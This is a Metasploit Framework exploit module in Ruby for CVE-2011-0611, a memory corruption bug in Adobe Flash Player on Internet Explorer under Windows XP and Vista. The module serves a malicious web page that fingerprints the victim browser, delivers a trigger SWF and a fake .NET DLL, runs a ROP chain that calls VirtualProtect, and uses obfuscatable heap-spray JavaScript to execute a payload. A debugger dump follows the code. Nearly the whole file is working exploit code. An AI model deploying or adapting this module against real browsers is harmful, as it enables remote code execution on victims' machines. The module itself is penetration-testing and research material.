metasploit-framework/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability in Adobe Flash Player that was discovered, and
				has been exploited actively in the wild.  By embedding a specially crafted .swf file,
				Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
				overwrite a pointer in memory, and results arbitrary code execution.  Please note for
				IE 8 targets, mscorie.dll (a .Net component)  must be available on the victim machine
				in order to work properly.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision$",
			'Author'         =>
				[
					'sinn3r',
				],
			'References'     =>
				[
					[ 'CVE', '2011-0611' ],
					[ 'OSVDB', '71686' ],
					[ 'BID', '47314' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
					[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
					[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
					[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
					[ 'URL', 'http://secunia.com/blog/210' ],
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
				},
			'DefaultOptions' =>
				{
					'ExitFunction'         => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', { 'Rop' => false } ],
					[ 'IE 7 on Windows XP SP3', { 'Rop' => false } ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' => true  } ],
					[ 'IE 7 on Windows Vista',  { 'Rop' => false } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 11 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
			], self.class
		)
	end

	def exploit
		#Load the trigger file
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
		f = File.open(path, "rb")
		@trigger = f.read(f.stat.size)
		f.close

		super
	end

	def get_target(request)
		agent = request.headers['User-Agent']

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
			#Windows XP SP3 + IE 6.0
			return targets[1]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
			#Windows XP SP3 + IE 7.0
			return targets[2]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/
			#Windows XP SP3 + IE 8.0 + .Net CLR 2.0
			return targets[3]
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
			#Windows Vista + IE 7
			return targets[4]
		else
			return nil
		end
	end

	def junk
		return rand_text_alpha(4).unpack("L")[0].to_i
	end

	def on_request_uri(cli, request)
		#Set default target
		my_target = target

		#If user chooses automatic target, we choose one based on user agent
		if my_target.name =~ /Automatic/
			my_target = get_target(request)

			#No suitable target, we go ninja mode
			if my_target.nil?
				send_not_found(cli)
				print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
				return
			end

			print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']
		end

		uri = request.uri
		print_status("URL: #{uri}") if datastore['VERBOSE']

		if uri =~ /\.swf$/
			#Browser requests our trigger file, why not
			print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
			return
		elsif uri =~ /\.dll$/
			#Throw the browser a fake .Net DLL so mscorie.dll will load
			print_status("Sending .NET dll to #{cli.peerhost}:#{cli.peerport}...")
			ibase = (0x2000 | rand(0x8000)) << 16

			#Generate our .Net DLL with random data
			dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))

			#Generate our headers for the browser to download the dll
			headers = {
				'Content-Type' => 'application/x-msdownload',
				'Connection'   => 'close',
				'Pragma'       => 'no-cache'
			}

			send_response(cli, dll, headers)
			return
		end

		#The type of arch our victim machine is running
		arch = Rex::Arch.endian(my_target.arch)

		if my_target['Rop']
			#DEP is enabled, rop it like a rop star
			net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll"
			js_net_dll = "<object classid=\"#{net_dll_name}\"#GenericControl\"></object>"

			#Land it exactly at 0x11111110
			rop =
			[
				0x63F031D8,  #POP ECX; POP ESI; RETN
				junk,
				0x7E451509,  #XCHG EAX,ESP; RETN in USER32
				0x63f04d74,  #CALL mscorie!_imp_VirtualProtect
				0x11111138,  #Param: shellcode (Target address = 0x11111110+0x24)
				0x900,       #Param: size (2304)
				0x40,        #Param: newProtect
				0x11111110,  #Param: oldProtect
				0x11111138,  #RETN (Target address = 0x11111110+0x24)
				junk,
			].pack('V*')

			#Our payload will land at 11111110
			shellcode = Rex::Text.to_unescape(rop + payload.encoded, arch)
			nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)

			#Heap spray routine
			js = <<-JS
			var heap_obj = new heapLib.ie(0x20000);
			var code = unescape("#{shellcode}");
			var nops = unescape("#{nops}");

			while (nops.length < 0x1000) nops += nops;
			offset = nops.substring(0, 0x62);
			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

			while (shellcode.length < 0x20000) shellcode += shellcode;
			block = shellcode.substring(0, (0x10000-6)/2);

			heap_obj.gc();

			for (var i=0; i < 0x1000; i++) {
				heap_obj.alloc(block);
			}
			JS

		else
			#No DEP, giggity. 0x0c0c0c0c is our target address
			nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
			shellcode = Rex::Text.to_unescape(payload.encoded, arch)

			#Heap spray routine
			js = <<-JS
			var heap_obj = new heapLib.ie(0x20000);
			var code = unescape("#{shellcode}");
			var nops = unescape("#{nops}");

			while (nops.length < 0x1000) nops += nops;
			var shellcode = nops.substring(0, 0x1000-code.length) + code;

			while (shellcode.length < 0x20000) shellcode += shellcode;
			block = shellcode.substring(0, (0x10000-6)/2);

			heap_obj.gc();

			for (var i=0; i < 0x1000; i++) {
				heap_obj.alloc(block);
			}
			JS
		end

		#Implement heaplib
		js = heaplib(js)

		#Javascript obfuscation is optional
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"

		html = <<-EOS
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		#{js_net_dll}
		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
		<param name="movie" value="#{trigger_file_name}" />
		<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
		pluginspage="http://www.macromedia.com/go/getflashplayer">
		</embed>
		</body>
		</html>
		EOS

		html = html.gsub(/^\t\t/, "")

		print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, html, {'Content-Type' => "text/html"} )
	end
end


=begin
0:000> r
eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0
eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash10o+0xd01f6:
100d01f6 ff5008          call    dword ptr [eax+8]    ds:0023:11111118=????????
0:000> dd ecx
01d650b0  11111110 00000000 00000000 00000000
01d650c0  00000000 00000000 00000000 00000000
01d650d0  00000000 00000000 00000000 00000000
01d650e0  00000000 00000000 00000000 00000000
01d650f0  00000000 00000000 00000000 00000000
01d65100  00000000 00000000 00000000 00000000
01d65110  00000000 00000000 00000000 00000000
01d65120  00000000 00000000 00000000 00000000
=end